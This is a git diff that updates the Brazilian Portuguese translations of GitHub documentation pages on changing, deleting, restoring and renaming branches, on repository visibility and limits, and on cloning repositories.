diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
index d82c43712f..0c51237d8e 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the default branch
-intro: 'If you have more than one branch in your repository, you can configure any branch as the default branch.'
+title: Alterar o branch-padrão
+intro: 'Se você tiver mais de um branch no seu repositório, você poderá configurar qualquer branch como o branch-padrão.'
 permissions: People with admin permissions to a repository can change the default branch for the repository.
 versions:
   fpt: '*'
@@ -14,43 +14,40 @@ redirect_from:
   - /github/administering-a-repository/managing-branches-in-your-repository/changing-the-default-branch
 topics:
   - Repositories
-shortTitle: Change the default branch
+shortTitle: Alterar o branch padrão
 ---
-## About changing the default branch
 
-You can choose the default branch for a repository. The default branch is the base branch for pull requests and code commits. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+## Sobre mudar o branch-padrão
+
+Você pode escolher o branch-padrão para um repositório. O branch-padrão é o branch de base para pull requests e commits de código. Para obter mais informações sobre o branch padrão, consulte "[Sobre branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)".
 
 {% ifversion not ghae %}
 {% note %}
 
-**Note**: If you use the Git-Subversion bridge, changing the default branch will affect your `trunk` branch contents and the `HEAD` you see when you list references for the remote repository. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)" and [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) in the Git documentation.
+**Observação**: Se você usar a ponte Git-Subversion, a alteração do branch-padrão afetará o conteúdo do seu `trunk` e o `HEAD` que você visualiza ao listar referências para o repositório remoto. Para obter mais informações, consulte "[Suporte para clientes do Subversion](/github/importing-your-projects-to-github/support-for-subversion-clients)" e [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) na documentação do Git.
 
 {% endnote %}
 {% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-You can also rename the default branch. For more information, see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)."
+Você também pode renomear o branch padrão. Para obter mais informações, consulte "[Renomear um branch](/github/administering-a-repository/renaming-a-branch).
 
 {% endif %}
 
 {% data reusables.branches.set-default-branch %}
 
-## Prerequisites
+## Pré-requisitos
 
-To change the default branch, your repository must have more than one branch. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)."
+Para alterar o branch-padrão, seu repositório deve ter mais de um branch. Para obter mais informações, consulte "[Criar e excluir branches em seu repositório](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)".
 
-## Changing the default branch
+## Alterar o branch-padrão
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. Under "Default branch", to the right of the default branch name, click {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}.
-   ![Switch icon with two arrows to the right of current default branch name](/assets/images/help/repository/repository-options-defaultbranch-change.png)
-1. Use the drop-down, then click a branch name.
-   ![Drop-down to choose new default branch](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
-1. Click **Update**.
-   !["Update" button after choosing a new default branch](/assets/images/help/repository/repository-options-defaultbranch-update.png)
-1. Read the warning, then click **I understand, update the default branch.**
-   !["I understand, update the default branch." button to perform the update](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
+1. Em "branch-padrão", à direita do nome do branch-padrão, clique em {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}. ![Alterne o ícone com duas setas para a direita do nome do branch-padrão atual](/assets/images/help/repository/repository-options-defaultbranch-change.png)
+1. Use o menu suspenso e clique em um nome de branch. ![Menu suspenso para escolher o novo branch-padrão](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
+1. Clique em **Atualizar**. ![Botão "Atualizar" após escolher um novo branch-padrão](/assets/images/help/repository/repository-options-defaultbranch-update.png)
+1. Leia o alerta e clique em **Eu entendo. Atualize o branch-padrão.** ![Botão "Eu entendo, atualize o branch padrão." para executar a atualização](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
 
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
index 807c0c5aa5..32bd92a57c 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting and restoring branches in a pull request
-intro: 'If you have write access in a repository, you can delete branches that are associated with closed or merged pull requests. You cannot delete branches that are associated with open pull requests.'
+title: Excluir e restaurar branches em uma pull request
+intro: 'Se você tem acesso de gravação em um repositório, pode excluir os branches que estão associados a pull requests fechadas ou mescladas. Não é possível excluir branches associados a pull requests abertas.'
 redirect_from:
   - /articles/tidying-up-pull-requests
   - /articles/restoring-branches-in-a-pull-request
@@ -15,33 +15,32 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Delete & restore branches
+shortTitle: Excluir & restaurar branches
 ---
-## Deleting a branch used for a pull request
 
-You can delete a branch that is associated with a pull request if the pull request has been merged or closed and there are no other open pull requests referencing the branch. For information on closing branches that are not associated with pull requests, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)."
+## Excluindo um branch usado para uma pull request
+
+Você pode excluir um branch que esteja associado a uma pull request se a pull request tiver sofrido merge ou estiver encerrada e não houver outras pull requests abertas que referenciem o branch. Para obter informações sobre branches de fechamento que não estão associados a pull requests, consulte "[Criar e excluir branches dentro do seu repositório.](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)".
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.list-closed-pull-requests %}
-4. In the list of pull requests, click the pull request that's associated with the branch that you want to delete.
-5. Near the bottom of the pull request, click **Delete branch**.
-   ![Delete branch button](/assets/images/help/pull_requests/delete_branch_button.png)
+4. Na lista de pull requests, clique naquela associada ao branch que você deseja excluir.
+5. Próximo à parte inferior da pull request, clique em **Delete branch** (Excluir branch). ![Botão Delete branch (Excluir branch)](/assets/images/help/pull_requests/delete_branch_button.png)
 
-   This button isn't displayed if there's currently an open pull request for this branch.
+   Este botão não é exibido se houver atualmente uma pull request aberta para este branch.
 
-## Restoring a deleted branch
+## Restaurar um branch excluído
 
-You can restore the head branch of a closed pull request.
+É possível restaurar um head branch de uma pull request fechada.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.list-closed-pull-requests %}
-4. In the list of pull requests, click the pull request that's associated with the branch that you want to restore.
-5. Near the bottom of the pull request, click **Restore branch**.
-   ![Restore deleted branch button](/assets/images/help/branches/branches-restore-deleted.png)
+4. Na lista de pull requests, clique naquela associada ao branch que você deseja restaurar.
+5. Próximo à parte inferior da pull request, clique em **Restore branch** (Restaurar branch). ![Botão Restore deleted branch (Restaurar branch excluído)](/assets/images/help/branches/branches-restore-deleted.png)
 
-## Further reading
+## Leia mais
 
-- "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)"
-- "[Managing the automatic deletion of branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)"
+- "[Criar e excluir branches dentro do seu repositório](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)"
+- "[Gerenciando a exclusão automática de branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)"
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
index 7fd44389ce..f1eecba635 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
@@ -1,6 +1,6 @@
 ---
-title: Renaming a branch
-intro: You can change the name of a branch in a repository.
+title: Renomear um branch
+intro: É possível alterar o nome de um branch em um repositório.
 permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec %} and protected branches{% endif %}.'
 versions:
   fpt: '*'
@@ -13,32 +13,30 @@ redirect_from:
   - /github/administering-a-repository/renaming-a-branch
   - /github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch
 ---
-## About renaming branches
 
-You can rename a branch in a repository on {% data variables.product.product_location %}. For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))."
+## Sobre a renomeação de branches
 
-When you rename a branch on {% data variables.product.product_location %}, any URLs that contain the old branch name are automatically redirected to the equivalent URL for the renamed branch. Branch protection policies are also updated, as well as the base branch for open pull requests (including those for forks) and draft releases. After the rename is complete, {% data variables.product.prodname_dotcom %} provides instructions on the repository's home page directing contributors to update their local Git environments.
+Você pode renomear um branch em um repositório em {% data variables.product.product_location %}. For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))."
 
-Although file URLs are automatically redirected, raw file URLs are not redirected. Also, {% data variables.product.prodname_dotcom %} does not perform any redirects if users perform a `git pull` for the previous branch name.
+Ao renomear um branch em {% data variables.product.product_location %}, todas as URLs que contiverem o nome do branch antigo serão automaticamente redirecionadas para a URL equivalente para o branch renomeado. Atualizam-se também as políticas de proteção de branch também, bem como o branch base para pull requests abertos (incluindo aqueles para bifurcações) e rascunhos de versões. Depois que a renomeação for concluída, {% data variables.product.prodname_dotcom %} fornecerá instruções na página inicial do repositório direcionando os colaboradores para atualizar seus ambientes do Git locais.
 
-{% data variables.product.prodname_actions %} workflows do not follow renames, so if your repository publishes an action, anyone using that action with `@{old-branch-name}` will break. You should consider adding a new branch with the original content plus an additional commit reporting that the branch name is deprecated and suggesting that users migrate to the new branch name.
+Embora as URLs do arquivo sejam automaticamente redirecionadas, as URLs do arquivo não processado não são redirecionadas. Além disso, {% data variables.product.prodname_dotcom %} não realiza nenhum redirecionamento se os usuários executarem um `git pull` para o nome do branch anterior.
 
-## Renaming a branch
+Os fluxos de trabalho de {% data variables.product.prodname_actions %} não seguem renomes. Portanto, se o repositório publicar uma ação, qualquer pessoa que usar essa ação com `@{old-branch-name}` vai quebrar. Você deve considerar adicionar um novo branch com o conteúdo original mais um relatório de commit adicional informando que o nome do branch está obsoleto e sugerindo que os usuários façam a migração para o novo nome do branche.
+
+## Renomear um branch
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.navigate-to-branches %}
-1. In the list of branches, to the right of the branch you want to rename, click {% octicon "pencil" aria-label="The edit icon" %}.
-    ![Pencil icon to the right of branch you want to rename](/assets/images/help/branch/branch-rename-edit.png)
-1. Type a new name for the branch.
-    ![Text field for typing new branch name](/assets/images/help/branch/branch-rename-type.png)
-1. Review the information about local environments, then click **Rename branch**.
-    ![Local environment information and "Rename branch" button](/assets/images/help/branch/branch-rename-rename.png)
+1. Na lista de branches, à direita do branch que você deseja renomear, clique em {% octicon "pencil" aria-label="The edit icon" %}. ![Ícone do lápis à direita do branch que você deseja renomear](/assets/images/help/branch/branch-rename-edit.png)
+1. Digite um novo nome para o branch. ![Campo de texto para digitar o novo nome do branch](/assets/images/help/branch/branch-rename-type.png)
+1. Revise as informações sobre ambientes locais e clique em **Renomear o branch**. ![Informações de ambiente local e botão para "Renomear o branch"](/assets/images/help/branch/branch-rename-rename.png)
 
-## Updating a local clone after a branch name changes
+## Atualizar um clone local após alterações de nome do branch
 
-After you rename a branch in a repository on {% data variables.product.product_name %}, any collaborator with a local clone of the repository will need to update the clone.
+Após renomear um branch em um repositório em {% data variables.product.product_name %}, qualquer colaborador com um clone local do repositório deverá atualizar o clone.
 
-From the local clone of the repository on a computer, run the following commands to update the name of the default branch.
+A partir do clone local do repositório em um computador, execute os seguintes comandos para atualizar o nome do branch padrão.
 
 ```shell
 $ git branch -m <em>OLD-BRANCH-NAME</em> <em>NEW-BRANCH-NAME</em>
@@ -47,7 +45,7 @@ $ git branch -u origin/<em>NEW-BRANCH-NAME</em> <em>NEW-BRANCH-NAME</em>
 $ git remote set-head origin -a
 ```
 
-Optionally, run the following command to remove tracking references to the old branch name.
+Opcionalmente, execute o comando a seguir para remover as referências de rastreamento para o nome do branch antigo.
 ```
 $ git remote prune origin
 ```
diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md
index 57a56440e4..16489db535 100644
--- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md
+++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: About repositories
-intro: A repository contains all of your project's files and each file's revision history. You can discuss and manage your project's work within the repository.
+title: Sobre repositórios
+intro: Um repositório contém todos os arquivos do seu projeto e o histórico de revisão de cada arquivo. Você pode discutir e gerenciar o trabalho do projeto dentro do repositório.
 redirect_from:
   - /articles/about-repositories
   - /github/creating-cloning-and-archiving-repositories/about-repositories
@@ -20,113 +20,113 @@ topics:
   - Repositories
 ---
 
-## About repositories
+## Sobre repositórios
 
-You can own repositories individually, or you can share ownership of repositories with other people in an organization.
+Você pode possuir repositórios individualmente ou compartilhar a propriedade de repositórios com outras pessoas em uma organização.
 
-You can restrict who has access to a repository by choosing the repository's visibility. For more information, see "[About repository visibility](#about-repository-visibility)."
+É possível restringir quem tem acesso a um repositório escolhendo a visibilidade do repositório. Para obter mais informações, consulte "[Sobre a visibilidade do repositório](#about-repository-visibility)."
 
-For user-owned repositories, you can give other people collaborator access so that they can collaborate on your project. If a repository is owned by an organization, you can give organization members access permissions to collaborate on your repository. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Para repositórios possuídos pelo usuário, você pode fornecer a outras pessoas acesso de colaborador para que elas possam colaborar no seu projeto. Se um repositório pertencer a uma organização, você poderá fornecer aos integrantes da organização permissões de acesso para colaboração no seu repositório. Para obter mais informações, consulte "[Níveis de permissão para uma repositório de conta de usuário](/articles/permission-levels-for-a-user-account-repository/)" e "[Funções de repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 {% ifversion fpt or ghec %}
-With {% data variables.product.prodname_free_team %} for user accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+Com o {% data variables.product.prodname_free_team %} em contas de usuário e organizações, você pode trabalhar com colaboradores ilimitados em repositórios públicos ilimitados, com um conjunto completo de recursos, ou em repositórios privados ilimitados com um conjunto de recursos limitados. Para obter ferramentas avançadas para repositórios privados, você pode fazer o upgrade para {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} ou {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
 {% else %}
-Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories.
+Cada pessoa e organização podem ter repositórios ilimitados e convidar um número ilimitado de colaboradores para todos os repositórios.
 {% endif %}
 
-You can use repositories to manage your work and collaborate with others.
-- You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %}
+Você pode usar repositórios para gerenciar seu trabalho e colaborar com outras pessoas.
+- Você pode usar problemas para coletar feedback do usuário, relatar erros de software e organizar tarefas que você gostaria de realizar. Para obter mais informações, consulte "[Sobre problemas](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %}
 - {% data reusables.discussions.you-can-use-discussions %}{% endif %}
-- You can use pull requests to propose changes to a repository. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)."
-- You can use project boards to organize and prioritize your issues and pull requests. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)."
+- É possível usar pull requests para propor alterações em um repositório. Para obter mais informações, consulte "[Sobre pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)".
+- Você pode usar quadros de projeto para organizar e priorizar seus problemas e pull requests. Para obter mais informações, consulte "[Sobre quadros de projeto](/github/managing-your-work-on-github/about-project-boards)".
 
 {% data reusables.repositories.repo-size-limit %}
 
-## About repository visibility
+## Sobre a visibilidade do repositório
 
-You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}.
+É possível restringir quem tem acesso a um repositório, escolhendo a visibilidade de um repositório: {% ifversion ghes or ghec %}público, interno, ou privado{% elsif ghae %}privado ou interno{% else %} público ou privado{% endif %}.
 
 {% ifversion fpt or ghec or ghes %}
 
-When you create a repository, you can choose to make the repository public or private.{% ifversion ghec or ghes %} If you're creating the repository in an organization{% ifversion ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% endif %}{% ifversion fpt %} Repositories in organizations that use {% data variables.product.prodname_ghe_cloud %} and are owned by an enterprise account can also be created with internal visibility. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories).
+Ao criar um repositório, você pode optar por tornar o repositório público ou privado.{% ifversion ghec or ghes %} Se você estiver criando o repositório em uma organização{% ifversion ghec %} que pertence a uma conta corporativa{% endif %}, você também pode optar por tornar o repositório interno.{% endif %}{% endif %}{% ifversion fpt %} Os repositórios em organizações que usam {% data variables.product.prodname_ghe_cloud %} e são propriedade de uma conta corporativa também podem ser criados com visibilidade interna. Para obter mais informações, consulte [a documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories).
 
 {% elsif ghae %}
 
-When you create a repository owned by your user account, the repository is always private. When you create a repository owned by an organization, you can choose to make the repository private or internal.
+Ao criar um repositório pertencente à sua conta de usuário, o repositório é sempre privado. Ao criar um repositório pertencente a uma organização, você pode optar por tornar o repositório privado ou interno.
 
 {% endif %}
 
 {%- ifversion fpt or ghec %}
-- Public repositories are accessible to everyone on the internet.
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- Os repositórios públicos podem ser acessados por todos na internet.
+- Os repositórios só podem ser acessados por você, pelas pessoas com as quais você compartilha explicitamente o acesso e, para repositórios da organização, por determinados integrantes da organização.
 {%- elsif ghes %}
-- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators.
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- Se {% data variables.product.product_location %} não estiver em modo privado ou por trás de um firewall, repositórios públicos poderão ser acessados por todos na internet. Caso contrário, os repositórios públicos estarão disponíveis para todos usando {% data variables.product.product_location %}, incluindo colaboradores externos.
+- Os repositórios só podem ser acessados por você, pelas pessoas com as quais você compartilha explicitamente o acesso e, para repositórios da organização, por determinados integrantes da organização.
 {%- elsif ghae %}
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- Os repositórios só podem ser acessados por você, pelas pessoas com as quais você compartilha explicitamente o acesso e, para repositórios da organização, por determinados integrantes da organização.
 {%- endif %}
 {%- ifversion ghec or ghes or ghae %}
-- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)."
+- Repositórios internos podem ser acessados por todos os integrantes da empresa. Para obter mais informações, consulte "[Sobre repositórios internos](#about-internal-repositories)."
 {%- endif %}
 
-Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Os proprietários da organização sempre têm acesso a todos os repositórios criados em uma organização. Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+As pessoas com permissões de administrador para um repositório podem alterar a visibilidade de um repositório existente. Para obter mais informações, consulte "[Configurar visibilidade do repositório](/github/administering-a-repository/setting-repository-visibility)".
 
 {% ifversion ghes or ghec or ghae %}
-## About internal repositories
+## Sobre repositórios internos
 
-{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+{% data reusables.repositories.about-internal-repos %} Para obter mais informações sobre o innersource, consulte a documentação técnica do {% data variables.product.prodname_dotcom %}"[Uma introdução ao innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)".
 
-All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Todos os integrantes da empresa têm permissões de leitura no repositório interno, mas os repositórios internos não são visíveis para pessoas {% ifversion fpt or ghec %}que estão fora da empresa{% else %}que não são integrantes de qualquer organização{% endif %}, incluindo colaboradores externos em repositórios da organização. Para obter mais informações, consulte "[Funções em uma empresa](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" e "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 {% ifversion ghes %}
 {% note %}
 
-**Note:** A user must be part of an organization to be an enterprise member and have access to internal repositories. If a user on {% data variables.product.product_location %} is not a member of any organization, that user will not have access to internal repositories.
+**Observação:** Um usuário deve fazer parte de uma organização para ser integrante da empresa e ter acesso a repositórios internos. Se um usuário em {% data variables.product.product_location %} não for um integrante de qualquer organização, esse usuário não terá acesso a repositórios internos.
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.repositories.internal-repo-default %}
 
-Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. If a user is removed from all organizations owned by the enterprise, that user's forks of internal repositories are removed automatically.
+Qualquer integrante da empresa pode bifurcar qualquer repositório interno pertencente a uma organização da empresa. O repositório bifurcado pertencerá à conta de usuário do integrante e a visibilidade da bifurcação será privada. Se um usuário for removido de todas as organizações pertencentes à empresa, essas bifurcações do usuário dos repositórios internos do usuário serão removidas automaticamente.
 {% endif %}
 
-## Limits for viewing content and diffs in a repository
+## Limites para visualização de conteúdo e diffs no repositório
 
-Certain types of resources can be quite large, requiring excessive processing on {% data variables.product.product_name %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time.
+Determinados tipos de recursos podem ser muito grandes, exigindo processamento elevado no{% data variables.product.product_name %}. Por isso, limites são estabelecidos para assegurar que as solicitações sejam completadas em um período razoável.
 
-Most of the limits below affect both {% data variables.product.product_name %} and the API.
+A maioria dos limites abaixo afetam o {% data variables.product.product_name %} e a API.
 
-### Text limits
+### Limites de texto
 
-Text files over **512 KB** are always displayed as plain text. Code is not syntax highlighted, and prose files are not converted to HTML (such as Markdown, AsciiDoc, *etc.*).
+Os arquivos de texto acima de **512 KB** são sempre exibidos como texto sem formatação. O código não destaca a sintaxe e arquivos em prosa não são convertidos em HTML (como markdown, AsciiDoc *etc.*).
 
-Text files over **5 MB** are only available through their raw URLs, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file.
+Arquivos de texto acima de **5 MB** somente estão disponíveis por meio de suas URLs brutas, que são servidas em `{% data variables.product.raw_github_com %}`; por exemplo, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Clique no botão **Raw** (Bruto) para obter o URL bruto de um arquivo.
 
-### Diff limits
+### Limites de diff
 
-Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views:
+Os diffs podem ficar muito grandes, por isso impusemos estas restrições em diffs para commits, pull requests e visualizações comparadas:
 
-- In a pull request, no total diff may exceed *20,000 lines that you can load* or *1 MB* of raw diff data.
-- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *Four hundred lines* and *20 KB* are automatically loaded for a single file.
-- The maximum number of files in a single diff is limited to *300*.
-- The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to *25*.
+- Em um pull request, nenhum diff total pode exceder *20.000 linhas que você pode carregar* ou *1 MB* de dados de diff não processados.
+- Nenhum diff de arquivo pode exceder *20.000 linhas que você pode carregar* ou *500 KB* de dados do diff não processado. *Quatro mil linhas* e *20 kB* são automaticamente carregados em um único arquivo.
+- O número máximo de arquivos em um único diff é limitado a *300*.
+- O número máximo de arquivos renderizáveis (como imagens, PDFs e arquivos GeoJSON) em um único diff é limitado a *25*.
 
-Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown.
+Algumas partes de um diff limitado podem ser exibidas, mas qualquer excedente de limite não é mostrado.
 
-### Commit listings limits
+### Limites de listas de commits
 
-The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown).
+As páginas de visualização comparada e pull requests exibem uma lista de commits entre as revisões `base` e `head`. Essas listas são limitadas a **250** commits. Caso o limite seja excedido, uma observação indicará que commits adicionais estão presentes (mas não são mostrados).
 
-## Further reading
+## Leia mais
 
-- "[Creating a new repository](/articles/creating-a-new-repository)"
-- "[About forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Collaborating with issues and pull requests](/categories/collaborating-with-issues-and-pull-requests)"
-- "[Managing your work on {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)"
-- "[Administering a repository](/categories/administering-a-repository)"
-- "[Visualizing repository data with graphs](/categories/visualizing-repository-data-with-graphs/)"
-- "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)"
-- "[{% data variables.product.prodname_dotcom %} glossary](/articles/github-glossary)"
+- "[Criar um repositório](/articles/creating-a-new-repository)"
+- "[Sobre bifurcações](/github/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[Colaborar com problemas e pull requests](/categories/collaborating-with-issues-and-pull-requests)"
+- "[Gerenciar seu trabalho no {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)"
+- "[Administrar um repositório](/categories/administering-a-repository)"
+- "[Visualizar dados de repositório com gráficos](/categories/visualizing-repository-data-with-graphs/)"
+- "[Sobre wikis](/communities/documenting-your-project-with-wikis/about-wikis)"
+- "[Glossário do {% data variables.product.prodname_dotcom %}](/articles/github-glossary)"
diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
index 310cf04515..eb0cdb2773 100644
--- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
+++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
@@ -25,8 +25,6 @@ Clonar um repositório extrai uma cópia completa de todos os dados do repositó
 
 ## Clonar um repositório
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -68,7 +66,7 @@ Para obter mais informações, consulte "[Clonar um repositório do {% data vari
 
 ## Clonar um repositório vazio
 
-Um repositório vazio não contém arquivos. Muitas vezes, isso é feito se você não inicializar o repositório com um README ao criá-lo.
+Um repositório vazio não contém arquivos. Muitas vezes, isso é feito se você não inicializar o repositório com um LEIAME ao criá-lo.
 
 {% data reusables.repositories.navigate-to-repo %}
